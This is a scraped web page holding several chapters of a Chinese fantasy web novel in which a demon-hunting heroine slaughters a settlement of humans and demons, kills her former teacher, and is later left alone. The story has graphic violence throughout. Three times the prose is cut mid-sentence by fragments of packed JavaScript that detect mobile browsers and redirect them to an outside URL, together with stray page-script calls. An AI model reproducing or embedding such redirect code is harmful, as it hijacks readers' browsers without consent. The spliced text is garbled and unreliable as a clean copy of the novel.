老婆子说:“这还是我做姑娘的时候,结婚那天穿的。” 结婚?钟乐说:“那您丈夫呢?”这里好像就住着她一个人。 老婆子说:“死了,我们成亲那天,被妖怪杀死了。” 这可真是有点惨呢。不过还好她来到了这里,钟乐心想,老婆子,就等着我给你报仇吧。 61. 第57章 在这里住了三天,钟乐渐渐搞清楚了一些基本情况。 极地的大当家出门去办事了,二当家名南戎,是一只虎妖,声大如雷,说话做事都十分爽朗。 而那老婆子姓周,大家都叫她周婆婆,她虽不当家,但因年纪最大,极地的人都很敬重她。 极地气候严寒,土壤贫瘠,并不好播种粮食。可是,因为这里有一群妖怪,事情就变得简单许多。 在茅草屋后面,有一片绵延不绝的高山。 粗看时,山峰上白雪皑皑,寸草不生。可若一细看,就会发现那片白色中夹杂着一块又一块彩色,那是极地的田地。 田地中种着金黄的小麦,翠绿的油菜,剔透的白菜……且这些地的外面都有一个五光十色的结界,将它如一个温室般保护起来。 妖怪可以施法使土壤变得温暖和肥沃,可是,它们却没有办法用法术完成种子的播种、施肥、收获等全过程,这些工作,还是需要人力来干。 何得贵来的第二天晚上,就被分配了挑粪施肥的工作。 第一天他什么都没干,舒舒服服的一直睡到正中午,然后溜达着去吃了饭,吃完后一抹嘴,碗一丢,快活的又去茅草屋里躺着了。他十分感慨的和老白说:“这可真是来了个好地方啊!” 当时老白神情奇怪,笑容十分的狡猾,但何得贵却没有思索这么多,只觉得自己以后就要活的比神仙还舒服了。 结果没想到,这么快噩运就降临到了他头上。 何得贵一边干呕,一边将人与妖怪的粪便从粪坑中挖出来。 可是,大粪实在太多了,他足足挖了一个上午也没有挖完。又臭又累之下,何得贵一丢粪勺,坐在地上,大声干嚎起来。 “……老子手都累瘫了,腿都累软了,人也被熏臭了……老子不干了!不干了!” 正逢老白经过,何得贵叫的更大声了:“兄弟啊!兄弟!这到底是怎么一回事啊!” 老白挠着痒痒,慢悠悠踱到他身边,语重心长的拍了拍他的肩膀:“唉,兄弟,大家都是这样的。想要吃,就得干。不愿干,没得吃。” 说罢,老白又踱步离开,去洗碗了。 何得贵号叫了半天,眼看是没办法了,今天想吃饭,无论如何也得把这粪挑到地里去! 他恶狠狠的撕下一片衣服,绑到前面堵住鼻孔,“呸呸”往手上吐了几口唾沫,拿起粪勺又大干起来。 到了傍晚,何得贵终于把粪都挖完了,他将挖出来的粪装到桶里,拿根扁担一挑—— 两只粪桶太重,他没挑起来。 何得贵骂了声娘,这群死妖怪们,吃的多,拉的也多。 而且,他们的粪便和人不同,可谓奇形怪状,五颜六色。 有一坨坚硬如铁,且和他的头一样大,他用粪勺狠狠砸了几次都没有砸破;还有一坨色泽金黄,闪闪发光,且形状和元宝一模一样,何得贵差点以为这是谁不小心落了块金子,可待洗巴洗巴了偷偷揣兜里,却发现不对劲——这是块大粪!而且腐蚀性极强,把他的衣兜融出了一个大洞! 何得贵那个委屈啊,可是,委屈也无处讲理去。他望着两大桶满满当当、五彩斑斓的粪便,狠狠心,一咬牙担起扁担,憋的脸都紫了,不过这次好歹,将两只桶都挑起来了。 何得贵撑着他那干瘦的身板,晃晃悠悠的挑着大粪往山路上走去。 钟乐看见了,乐的哈哈大笑,可是没想到,第三天晚上,挑粪的差使就落到了她头上。 她不可置信,去问南戎:“我也要挑粪?” 南戎:“自然。” 钟乐:“……” 她说:“我可不可以不干?” 南戎说:“这里的每一个人,每一个妖都得干。” 钟乐十分绝望,她觉得这样的分配十分不合理。妖怪身怀法力,力大如牛,挑粪这样的重活应该全部他们干才合适。 南戎却一脸理所当然:“因为妖怪也嫌臭啊。” 钟乐:“……” 要不是这里的妖怪都很傻,钟乐几乎以为他们已经看出了她的身份,故意借此机会报复她呢。她抱着南戎的大腿,泪眼汪汪的说:“当家的,小乞儿自小在街头流浪,无父无母,无人关心,直到来到极地,我才第一次有了家的感觉。我知道,这里的大家都十分爱护我,愿意心疼我,可怜我,不会让我去做那些重活的……” 她使了一出苦情计,南戎这只一本正经的老虎妖不淡定了,他抹着额头上的汗,手足无措:“你别哭嘛……哭是什么意思嘛……” 事情的最后,是南戎命令鲲鹏——就是前两日那只章鱼妖,令他去将粪都挖出来埋到地里,鲲鹏自然是不乐意,他本就脾气暴躁,遇到挑粪的工作,不妨更暴躁一些—— 于是,他趁着南戎没发现,偷偷将钟乐挂在树梢上,用他的触手狠狠抽打了她一顿。 钟乐任他打,心中恶狠狠的盘算,待几日后时机成熟,她要第一个杀了这只章鱼妖! 还好,打到一半,南戎察觉到了不对劲,赶过来从鲲鹏的触手下解救了钟乐。 鲲鹏十分的不服气:“你向着她?” 南戎声大如雷的喝道:“去挑粪!” “……” 僵持半晌,鲲鹏咬牙切齿的一甩袖子,去挑粪了。 钟乐心中暗笑,面上可怜巴巴,对南戎卖好说:“小乞儿自幼没有亲人庇佑,可南戎,方才我却觉得我好像有了一个哥哥。” 南戎方才暴喝之下扬起来的衣衫,此时层层叠叠的落下来。他负手而立,神情中,竟有几分难得的寂寥:“多年以前,我也有……一个妹妹。” 钟乐嗯嗯啊啊的敷衍了几句,却没想到,自那之后,南戎真的处处关心她,将她当做了妹妹一般。有一次,厨房里蒸了一小屉松子百合酥,何得贵嘴馋想偷偷先吃两个,却被南戎炯炯的目光瞪了出来。 那一屉点心,都给了钟乐。 因刚刚蒸出来,百合酥还冒着热气,咬下去,满口甘甜绵软。钟乐吃了一个又一个,南戎则坐在她对面,眼神十分欣慰慈爱。他道:“你说,你流浪的时候从没有吃过点心。” “……”钟乐什么时候编的这话,她自己也不记得了,只得扯出一个虚伪的感动笑容来。 当然,对于南戎,她还是有那么一点点真感情在的。 她决定,将南戎放在最后一个杀,并且一击毙命,绝不折磨他。‘’ 很快,便过了十日,到了夭夭和山根大婚的日子。 在鲲鹏和清颢的极力推进下,大婚最终决定在天上举行。 山根抱着夭夭,哭的一把鼻涕一把泪:“要是我摔死了,你以后可就要守寡了啊……” 夭夭扇了他一个巴掌:“想成婚就成,不想成婚就去死!” 山根咂摸了一会,觉得这选择好像无论如何都是死。他默默的为自己打气,天上就天上吧!能看到夭夭穿嫁衣的样子,死了也值了! 他又在背后将鲲鹏和清颢大骂了一顿,觉得心里舒坦许多,欢欢喜喜的去换衣服了。 会飞的鸟族妖怪仰天长叫,呼唤来了一群小鸟儿,有喜鹊,杜鹃,百灵,金翅雀,蓝鹳,鸳鸯……当然,一些在人族文化中并不吉祥的鸟类,例如乌鸦,就没有被邀请。 只见各色鸟雀扑扇着翅膀,聚集成一张密不透风的大网。三个时辰之后的大婚,就会在这张大网上举行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281808|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一片热闹中,人与妖都忙来忙去,女的打扮夭夭,男的收拾山根。 小草团子的草屑上也被裹了一层红彩带,随着它蹦来蹦去,细小的彩带碎屑簌簌掉落,十分喜庆。 而此时,钟乐坐在茅草屋中,透过门静静的看着这一切。 上次,她也是在大婚时杀了妖帝,这次,她便也在这场大婚中结束极地这些蠢妖怪的性命。 只是可惜,因怕被发现,入极地的时候她没有将参商带来,而是将它沉没在了东海之中。 看来今日,得徒手杀妖了。 清颢走进来,他今日也十分喜庆,穿了一身红衣,袖口怒放着朵朵金莲。他将一碗茯苓粥放在钟乐面前:“山根的婚服破了一个洞,需要仔细缝一缝,大婚可能得推迟些许时间,先喝点粥垫一垫吧。” 钟乐挑起眉:“是么?这么倒霉。” 清颢笑道:“还真是这么倒霉。” 钟乐端起粥,舀了一勺,放在嘴边吹一吹。可正要喝下去时,她却忽然手腕一翻,整碗粥砸落在地,发出沉闷声响。她叹道:“区区把戏,无聊。” 可随即,肩膀传来剧痛,竟是清颢用两道捆妖索穿透了她肩膀! 同时,两腿锐痛,竟是两枚噬魂钉!清颢将她钉在了木凳上! “你……”钟乐不可置信,清颢竟然会这么对她! “你要杀我?你身上有子母咒,杀了我,你也活不了。” 清颢摇头,将捆妖索绕一个圈,将她绑起来。然后把木凳后踢,让她靠在茅草屋的墙壁上。 想了想,他又拿出两枚噬魂钉。 钟乐一直注视着他,她在给他机会。可是,她失望了。 清颢将那两枚噬魂钉按进了她的手心中,将她的双手钉在墙壁上。 鲜血顺着手掌,蜿蜒流下,落进钟乐的后颈,落在她的脸上,看起来十分触目惊心。 钟乐静静感受着噬魂钉和捆妖索带给她的剧痛,问:“为什么要这样做?” “对不起,”清颢抱歉的说,“我喜欢这里,我不能让你毁了这里。” “喜欢?” 妖气聚集,浊气滔天,这里有什么值得喜欢? 钟乐说:“清颢,你让我很难过。” 清颢看着她,眼神和十五年前一样慈和,就像在看待一个小孩子。他无意让她痛苦,可是,他知道她会一意孤行的杀了他们。 他不得不这样做。 “清颢,我很疼。” 清颢摸了摸她的头发:“对不起,阿乐。”而后决然的转身离去。 钟乐叹了口气。她已经再次给了他机会,可是,他仍旧让她失望了。 妖,终究是妖! 吉时已到,外面张灯结彩,锣鼓喧天,飞鸟织成的网载着喜气洋洋的人与妖飞上九天。 钟乐眼神渐渐变冷。 噬魂钉和捆妖索有束缚人法力之功用,可是,她并不会老实的被钉在这里。她的法力已经足够强,强到能够让她挣脱这两道捆妖索和四枚噬魂钉。 钟乐将法力流转全身,然后咬牙,生生将双手从墙上拔了出来,再低头,拔出腿上的两枚噬魂钉。 她疼的嘶嘶抽气,但长痛不如短痛,她一鼓作气的将两条捆妖索从肩胛骨中抽出来。骨头与铁链摩擦,发出咔咔之声,她将两条血淋淋的捆妖索丢在地上,然后一掌,拍散了茅草屋。 空中爆发出一阵大叫,山根哭嚎道:“我就知道在天上会掉下去……” 夭夭斥道:“笨蛋!不是掉下去的问题!” 南戎朝下望来,神色复杂:“小乞儿?” 清颢一震,接着,快速的和南戎说:“杀了她。” 62. 第59章 杀了她。 ——杀,了,她。 钟乐弯唇:“清颢,你真的让我很失望。” 她在笑,可其实她却十分的愤怒和悲伤。清颢背叛了她,他背叛了她!他终究是妖! 没有参商,她无法飞入高空,可是,她可以让他们来到地面。 钟乐狠狠一掌拍出,飞鸟结成的网徒然散落,上面的人和妖怪纷纷坠落。 清颢长鸣一声,化出凤凰原身,将他们安然无恙的载了起来,在高空盘旋。 钟乐冷笑,子母咒,她为母,他为子,他只能活在她的掌控之下,哪怕是自损八百,她也要伤敌一千——她启动子母咒,然后,重重一掌拍在自己身上。 凤凰全身剧痛,鸣叫痛苦,摇摇欲坠,但他仍尽力撑住,让每一个人都安稳降落在地,这才奄奄一息的倒了下来。 “阿乐,求你,不要……”清颢从未这么低姿态过,他变回人形,半跪在地上,形容狼狈,哑声恳求。 可是,钟乐不可能因为他而放过他们。她甚至有了新的想法,最后一个死的其实并不是恩赐,而是痛苦,她要让清颢最后一个死……不,她会让他活着,让他活着、眼睁睁的看着极地化为飞灰。 极地群妖手忙脚乱的望着钟乐。而钟乐嫣然一笑,丝毫不给他们准备的机会,她飞身上去,第一个杀了南戎,给了他一个痛快。 群妖震怒,双眼血红,大叫着要杀她报仇。 穿着火红嫁衣的夭夭,新郎官山根,还有章鱼妖鲲鹏……他们包围了她,而她立于他们之间,轻蔑的弯唇一笑——清颢只听到一阵“咔咔”的声响,那是她徒手折断、劈断了他们的头颅。 杀,杀,杀……钟乐脑海中只有这一个字,她杀了一个又一个,一个又一个,杀到已经麻木,只是机械的重复着那个劈下头颅的动作。 终于,她杀尽了这里所有的妖。 钟乐周身弥漫着红色的雾气,那是一滴滴细小的血珠在空中漂浮。 清颢望着她,仿佛又回到了妖帝被杀的那夜。只是,那时她意气风发,笑容快意,但此时,她却有些说不出的疲惫。 “你并不喜欢这样,阿乐……”清颢挣扎着说,眸中充满痛苦。 钟乐却笑了:“不,我很喜欢,我生来就是为了杀妖。” 她的笑容突然凝固,僵硬低头,看着那把深深刺入她身体的利刃,不可置信:“为什么?” 为什么? 周老婆子双手颤抖的将染血的刀拔出来:“你是……钟乐?天师钟乐?” “是。”钟乐眼睛有些红了,妖怪背叛她或许还情有可原,可是,他们是人,他们为什么要这样对她? “为什么?” “你说过,你的丈夫在你们新婚之夜被妖怪杀死,难道你不应该很恨他们吗?现在我杀了他们,你不应该高兴吗?” 周老婆子:“不……” “什么不?” 周老婆子说:“不是他们,杀我丈夫的不是他们。” “你和他们同住在极地,即使今日他们不杀你,明日他们也会杀你。妖就是妖,是没有心也没有情的东西,我杀了他们,你该感激我才是,而不是在我背后捅刀子。”钟乐轻轻掰开她的手,拿过她手中的刀。 周老婆子神情怔愣,显然是陷入了回忆。 她已经很老、很老了,满头银发,满脸沧桑。钟乐心想,这样一个老人,并且这些日子来对她十分关怀、让她感受到过温暖的老人,不论怎样,都该对这个老人多宽容一些。 周老婆子好像想清楚了,可是,她说。 “天师钟乐,我们不感激你。” 一片惊呼和呐喊——钟乐用那把刀削掉了钟老婆子的脑袋。 所有人都疯了,他们争先恐后的拿起棍棒,大叫着要杀了钟乐这个妖女。 而钟乐淡淡一笑,眼神中没有怜悯,只有蔑然,她等着他们一个个来到她身边,然后,就像是切豆腐一样,一个个劈下他们的头颅。 滚烫的鲜血喷洒在她脸上,她却连眼睛都没有眨一下。 喊声渐渐消失,一个接一个人头滚落在地上,最后终于只剩下了何得贵一个人,握着一把锄地的铁锹,惊惶的瞪着钟乐。 钟乐看到他的双手在不停颤抖,她说:“你走吧。” 何得贵大叫一声,丢掉铁锹就跑,可是,跑了一段路后他突然又停下来。 他望着满地的无头尸体,看着蜿蜒流到他脚边的鲜血,失控的尖叫:“我跑去哪!!!” 他将两根手指深深插进眼睛里,大叫:“我瞎了眼!我当初瞎了眼!” 他何得贵,好财,好酒,好赌,好色,临了临了,好一回义气又何妨? 两个眼球被捅破,鲜血横流,恐怖不堪,可是他却快意又癫狂的哈哈大笑:“痛快!痛快!” 钟乐干脆的帮他结束了痛苦。 终于,杀尽了这里的妖,钟乐微笑着将清颢扶起来:“好了,我们来的任务完成了。” 清颢颤抖着说:“滚开。” “什么?”钟乐一时间不能相信自己的耳朵,清颢竟然会说出这种话,这可一点也不像他。 清颢深吸一口气,清清楚楚的说:“滚开。” 这下,钟乐是真的听清楚了,确定无疑。 她微笑:“不可能。” 清颢说:“那么,你杀了我。” 这就更不可能了。钟乐笑吟吟:“我说过的,我不会杀了你。” 她的神情忽然定住。 又有一只妖,进来了。 回过头,果然,一个戴着面具、白衣墨发的男人望着眼前这一幕。尽管他的脸掩藏在面具之下,看不到他的神情,但是,钟乐仍旧能感觉到他的痛苦和不可置信。 几乎是没有犹豫的,他锁定了目标,执剑向钟乐杀过来。 钟乐推开清颢,与他缠斗。 她发现他的法力和招式都有些熟悉,甚至,和她很像,都十分干脆、利落,又带着狠辣,直奔项上人头而去。 只是,他终究不敌她,钟乐一手掏进他的胸口,捏碎他的妖丹,一手带着呼啸的冷风朝他的脖子劈去,但就在这个时候,她听到了一丝低低的苦笑。 她的手在离他脖颈一寸的地方停了下来。 “怎么不杀了我?” 钟乐不答,颤抖着将血淋淋的手从他胸膛中拿出来。他登时就要倒下去,而她跪坐在地,将他整个人抱在怀中。 “你……” 她声音发抖,但终于还是鼓起勇气,揭开了他的面具。 “师……师父……” 十五年前,白帝城被灭,她被清颢带到蓬莱岛,那时起,她便在心底许下誓言:终有一日,她要亲手杀了蛮荒。 她开始不分日夜,潜心修炼。 可是,不知为什么,她总是不得章法,时常气急攻心,口吐鲜血。 就在这时,她遇到了隐雀。 她还记得初遇的那日,蓬莱岛下了一场大雪,极目之处,一片洁白。 她拿出一个蒲团,坐在白雪中修炼。 从早上到晚上,鹅毛大雪不停飘落在她肩头,将她掩盖成了一个雪人。终于,她觉得时候到了,睁开眼,拿起蒲团准备回屋。 “怎么,修炼的不满意?” “谁?!”她吓了一跳,环顾四处,却没有发现任何一个人。 “是我,在这里。” 这次,钟乐抬头,看到了树梢上的那个人。他戴着一个面具,一头银发,身上落满了厚厚的雪片,没有拂去,和白雪简直融为一体。怪不得她刚才没有发现。 “你是什么人?盯着我多久了?你要干什么?”钟乐警惕的说,他看透了她在想什么,她的确不高兴。从早修炼到晚,时间虽长,可进步却微乎其微,甚至是在原地打转。 他轻飘飘从树梢降落,站在她面前,唇角浮出淡淡的笑意,说:“你太过急于求成,却忽视了稳扎稳打,简而言之,你的心太浮躁。所以,修炼时总是力不从心。” 钟乐不由放松了警惕,半信半疑的问:“真的吗?” 自那之后,他便在此住了下来。 他教她修炼,修正她过往的错误,指正她现有的漏洞。他用一段树梢作剑,教她杀人的招式。她说:“可不可以教我最直接的剑招?” 他说:“哦?最直接,是多么直接?” 她说:“一剑砍去人头的那种。” 他哈哈大笑:“这种么,我也喜欢。” 冬天过去,春天到来,钟乐的修炼已经走上正轨,再也不会动不动就气急攻心、走火入魔。这时,他说他该离开了。 他们亦师亦友,钟乐平时会称他的名字,隐雀,而在有些郑重的时候,她会叫他师父。她说:“师父,我可不可以看看你的脸?” 他摇头。 她不乐意:“为什么呀?我只是想记住你。” 他说,不必记住他,他们只不过是萍水相逢。 钟乐却不能赞同,她向来喜欢有始有终,更是想要做什么就立马会去做什么。她说,好,那最后一次见面,我们可以拥抱一下吗? 隐雀同意了,她比他矮许多,他弯下腰,轻轻抱住她,拍了拍她的头。可是,眼前徒然一亮,他看到她得逞的笑容。 ——借着拥抱,她扯下了他的面具。 隐雀无奈的夺过,戴好面具:“走了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296513|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >钟乐在背后大叫:“师父,我们以后还会再遇见的是吗!” 隐雀洒脱的摆摆手说:“不会了。” 钟乐却得意洋洋的反驳:“不,会的!我知道你的容貌。” 可是,十五年后,她离开蓬莱,来到人间,四处打听,却从未有人听说过一位名叫隐雀的修士。她以为他是行事低调,却没想到,这些年来,他一直久居于极地之中。 “原来你就是极地的大当家,”钟乐捂住他不停流血的胸口。但是,血怎么也止不住,她慌乱的双手按上去:“为什么,你为什么不早点告诉我你是谁!” 她突然想起化颜咒,对了,化颜咒! 她现在不是她了,她变幻了容貌,隐雀早就不认得她了! 仿佛得到救赎般,她急急忙忙的掏出尘缘镜,可是,镜子中原原本本,是她自己的脸! 虽沾着鲜血,满含戾气,可是,那的的确确就是她的脸!化颜咒早在她杀了隐雀之前就已经失效了! “为什么,为什么不告诉我?”钟乐茫然的问个不停,“为什么?你明明认出了我,却为什么不告诉我?为什么就这样任我杀了你?为什么?为什么啊?” 隐雀的妖丹早已被她捏碎了,可是,在即将元神消散的这一刻,他内心反而十分平安。他说:“你……长大了。” “为什么啊?我、我没想杀了你的,对不起,师父,我没想杀了你的,对不起……”钟乐泪流满面,只说得出这一句话。 “对不起,真的对不起……” 隐雀脸色苍白,神情却十分解脱。他说:“其实许多年前,我骗了你。我不是人,我是半妖,母亲是人,父亲是妖。” “但那时,我臣服于妖怪强大的法力和长久的寿命,我看不起微小无力、如蝼蚁一般的人,我坚定的认为自己是妖。我跟着妖帝,开始杀人,杀了一个又一个,一个又一个……” 钟乐不停的给他灌输自己的法力,可是,一切都只是徒劳,她无力的道:“真的对不起,师父……” 隐雀却神色平静,继续说道:“一开始,我的确得到了快意,在那些凡人面前,我是那么强大,那么让他们恐惧。可是后来,我却开始觉得麻木,杀人不再让我快乐,我只是凭着一种机械的惯性在杀人。” “直到有一日,我杀了一个女子。她说她很爱我,但我早已麻木,不知道爱是什么,我将她口中的爱当做一个虚伪的谎言,我按照自己的惯性杀了她,就像杀了我过往杀的所有人一样。但很久以后,在某一个长夜,我突然想起她,悲痛到无法自已。” “我意识到自己犯了一个多么大的错误,这个错误足够我后悔终生,可是,再也没有机会了。当我杀她的时候,我并不爱她,而当我终于爱上了她的时候,我已经亲手杀了她。” 仿佛回到十五年前,那时她还是一个小小的孩子,不及他的腰高,看他时总是仰起头,满眼钦佩。而他,谆谆善诱,给她讲述修炼的诀窍和方法。 “我放下了剑,不再杀人。我创建了一个我梦想中的地方,它叫做极地,在这里,人与妖不再有隔阂,不再有仇杀,他们和睦相处,就仿若一家人。但这时,我听说了你的名字。” 钟乐悲恸的说:“我?” 隐雀微笑:“你。” “你杀了蛮荒,夺回白帝城,一举成名。可是,你想要的远不止于此,你下令,杀尽天下妖。” 那夜明月那样皎洁,那面尘缘镜漫天遍野的投射出她斩杀妖帝的景象。他在极地,看着镜中的她,一袭红衣,一柄长剑,长剑上血珠不停滚落。在九龙台上,她抛下妖帝的头颅,哈哈大笑,意气风发。 “我知道,迟早有一日,你会来到这里,毁了这里。可极地是我十几年的心血,我绝不容许,你伤害它分毫。” “所以,所以,”所有的伤口都在此时发作,钟乐只觉呼吸都困难,“你离开极地,是要去……” 隐雀点头:“不错,我离开极地,是要去,杀了你。” 却没想到,他们恰好错过,她早了一步,他迟了一步。 “所以,不要难过,不要愧疚,阿乐。如果你不杀了我,那么我也要杀了你。” 可是,钟乐不懂,她死活也想不懂:“我在杀妖啊,我在做正确的事啊,为什么,你们却并不情愿?为什么,你们要阻止我?” 但是,隐雀再也回答不了这个问题了,是她亲手捏碎他的妖丹,看着他在她怀中呼出最后一口气。他的最后一句话,是,将我葬在极地。 钟乐抱着他冰凉的尸体,从木然,到绝望,她嘶声大喊:“为什么啊?极地到底有什么好?它不过是一群愚蠢的人和一群愚蠢的妖怪!” 寂寂白雪,天地空旷。 63. 第60章 天色已晚,夕阳的余晖越来越淡,钟乐从地里拔了两颗白胖的萝卜,摔摔叶子上的土,又摘了几根青翠的黄瓜,装在篮子里,在最后一抹夕阳消逝之前,回到了茅草屋。 前些日子新砌的小火炉上,已经煨好了鱼汤。 钟乐掀开盖子,看到汤已经炖成了浓白色,豆腐软烂,鱼肉鲜香,上面还洒了一撮碧绿的小葱,卖相十分可人。 钟乐拿起勺子,尝了一口:“嗯,好喝!” 清颢走过来,温和的笑说:“是吗?” “还能有假?你自己尝尝就知道了。” 清颢也尝了一口,挑挑眉说:“果然不错。” “你的手艺真是越来越好了,不像我,”钟乐摇着头叹口气,“三年了,就会那么一道菜。” 钟乐会的那道菜,就是凉拌黄瓜和萝卜了。这个嘛,简单到不能再简单,将新鲜的黄瓜和萝卜摘几根来,削片,再往里倒上油盐酱醋,搅拌搅拌,一道菜就好了。 清颢却说:“你的拌黄瓜也做的很好啊,每次盐都放的十分适量,不咸不淡。” 钟乐:“……” 清颢认真的说:“这很难的好吗?” “……真的吗?”钟乐有些相信了。她受到夸奖,将今晚的黄瓜和萝卜拌的更加用心,果真盐一分不多,一分也不少。 窗外月色清凉,二人围着小火炉,开始吃饭。 清颢忽然想起以前曾埋过一坛桃花酒,他说:“现在估计是时候了,我去挖出来看看。” 钟□□过窗户,看着他层层挖开桃花树下的泥土。 时光过的真快啊。 三年前,她向衡阳传音,说,世上已无极地。 衡阳大笑,说,好消息。 又说,他也有个好消息要告诉她。 衡阳的好消息是,已无行走在世间之妖。 钟乐愣了很久、很久。她一直以来的心愿实现了,杀尽天下妖,世间再无妖。 可是,她也十分的茫然,从此再也没有了妖怪,她该何去何从? 白帝城已经不适合回去,而游离天下,四海为家,也没有了意义。 毕竟,已经没有了妖。 最后,她留在了极地。 极地其他人和妖的尸体,她本来想一把火烧掉,但是隐雀不喜欢那样,于是,她和清颢将他们都埋葬在了白雪之下。 第一年,他们经营着一亩田地,日出而作,日入而息。 第二年,他们在窗外种了株株桃树。三个月之后,桃树长出枝桠,六个月之后,枝头吐出花苞,一年之后,桃花已经绽放的十分烂漫,每当一阵风吹过,花瓣飘落,彷如下了一场淡粉色的小雨。 第三年,他们在茅草屋中砌了一只红泥小火炉。 屋外白雪纷飞,屋内火炉温暖,上面烤几只橘子,再温一壶小酒,二人对酌,谈天说地,十分惬意。 “好了。”清颢拎着酒坛子回来了。 他给钟乐倒了一杯,钟乐一干二净,咂咂嘴说:“当真有桃花的香味,很清甜。” 清颢宠溺道:“阿乐喜欢就好。” 钟乐望着他弯弯的笑眼,一时有些恍惚。 三年相伴的平静生活,似乎消弭了当初他那绝然的恨意。他对她那么好,好到甚至有些时候,她以为他是喜欢着她的。 但是,不知为什么,她却又觉得,一切的平静温馨都只是假象。 或许是因为太过波澜不惊的缘故吧。 她已经习惯了奔波,习惯了拥有一个为之努力的目标,骤然闲了下来,平和之余,反而觉得有些空虚。 “清颢,你喜欢我吗?”一杯接着一杯,钟乐有些醉了。 她脸蛋发烫,晕乎乎的拿着酒杯,眨巴着眼睛看清颢。 她很希望他说是。 爹爹和阿娘不在了,楚欢和公冶侯离开了,隐雀死了,白帝城回不去了,寻乌镇也已经空无一人,都被她杀光了。 现在,这天地间好像只剩下他一个能与她作伴。 “清颢,你说话啊?” 清颢说:“阿乐,你醉了吗?” “不,没有……没有醉。” 清颢笑了,这可真的是醉了。他温和的摸了摸她的头发,靠近她,在她的额心轻轻落下一个吻。 钟乐皱了皱眉,觉得他的唇十分烫。她明明记得,很久以前,她给他喂药时吻过他,那时他的唇是很冰凉的。 她说:“清颢,你也醉了吗?” 清颢摇头:“不,我很清醒。” 但钟乐觉得他真的是醉了,因为他开始说起很多年前的往事:“当年,我离开蓬莱之前,在那里设了一道结界。” 钟乐醉乎乎的笑说:“我知道,你是为了防妖怪,但其实,也是对我的一场考验。我每觉得自己的修为精进一次,就会尝试去破开那道结界,可是最开始,我根本连一条缝隙都打不开。” 清颢笑:“现在你已经很强,强过这世上的任何人,任何妖。” 钟乐又喝了几杯酒,愈发醉了,她听不清楚清颢在说些什么,只知道他说了很多、很多。她觉得有些困,慢慢的趴在桌子上睡着了。 迷迷糊糊中,她觉得清颢好像在她耳边说:“对不起。” “什么?”钟乐咕哝。 “阿乐,再见。” 就让一切的爱与恨,全部都终止在这里吧。 清颢伸出手腕,鲜红的子母咒浮现,他不在乎的看了这符咒一眼,然后义无反顾的,化出凤凰原身,飞出窗外,飞向高空。 狂风呼啸,迎面而来,清颢响亮的长鸣。子母咒越来越红,提示着他已经离开了她三十丈之外,他的妖丹开始疼痛、生出裂痕,宣告着子母咒对他的束缚。 可他觉得自己从没有这样自由过,他无视那快要滴出血来的子母咒,冲破束缚,刹那间一身轻松。对着下方山川河流,灿灿灯火,长鸣出声。 钟乐醒了,毫无征兆的醒了。 她心中发闷,慌的不能自已,她不知道为什么。她叫:“清颢?清颢?” 这时,她听到了他的最后一声鸣叫。 双眼蓦地睁到极致,她冲到屋外,大吼:“清颢!”泪水滚滚而下。 凤凰身上最后一丝火红的金光消失,从高空坠落下来。钟乐跃起,接住他,缓缓的落下。 桃花瓣纷纷扬扬,落了他们满头、满身。 “你……你恨我,是吗?”钟乐这时才发觉自己有多么傻,他怎么可能不恨自己,她杀了蛮荒,杀了宣离,杀了拜鬼忧,尽管他与他们并不亲近,可他们到底是他的血亲! 她还毁了极地,那时他双眼闪闪发亮,他说他很喜欢这里,他真的很喜欢这里,可是,她毫不留情的将这里毁掉了。 她亲手毁掉他所爱的一切,他怎么可能不恨她? 即使是死,他也要离开她。 可是清颢却摇头,子母咒发挥效用,三十丈之外,元神散尽,不得超生。他的身体开始化作点点的金光消散,他张口,却不能发出声音。 但钟乐清楚的看到他的口型,他说,不恨。 你只不过是个……太早就失去了爱的孩子。 - 极地只剩下了钟乐一个人。 这里这么寂静,这么空旷,好像这世上,从此也只剩下了她一个人。 - 一开始,她和往常一样的生活,种菜,做饭,洗碗,吃饭,睡觉,起床,叠被子……日复一日,相同,且平静。 但后来,她开始被挥之不去的孤独笼罩。 没人和她说话,她开始自己跟自己说话,可是说着说着,她觉得这样分外诡异,觉得自己好像分裂成了两个人,精神都不太正常了。 她不再和自己说话,开始和捕捞到的鲫鱼说话,絮絮叨叨,从早说到晚。但是,到了晚上,她要吃饭了,要煮鱼汤了,于是她杀了这只鲫鱼,笨拙的将它开膛破肚,切成段,洒上葱姜蒜,再放一块切碎的豆腐,放在锅里熬煮。待快熟了,就洒上一把碧绿的小葱。 可是,原料是一模一样的,味道却和清颢做的有天差地别。 她喝了一口,难喝的吐了,十分后悔,心想,这只鲫鱼真是白死了。 早知这样,还不如不杀它,将它留着继续和她说话。 后来,她捉到了一只虎皮鹦鹉。 鹦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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钟乐两手托腮:“昨天晚上我做噩梦了,梦里梦到一场很大、很大的火,我很着急的扑火,可是,有个坏人一直在放火,我打不过她……我好想我爹我娘,要是他们在就好了,我就不会孤单,也不会被人欺负……”说着说着,她自己也困了。 她睡着了,做了一个很长的梦。 梦中,一切都回到最初。 极地没有被毁,一间间茅草屋亲密的挨在一起,有温馨的烛火从里面透出来。 有好多人在大声说笑,钟乐想起来了,这是那天晚上,他们为她这个小乞儿庆祝生辰。 其实她记得自己的生辰,小时候每年生辰,爹娘都会隆重的为她庆祝。 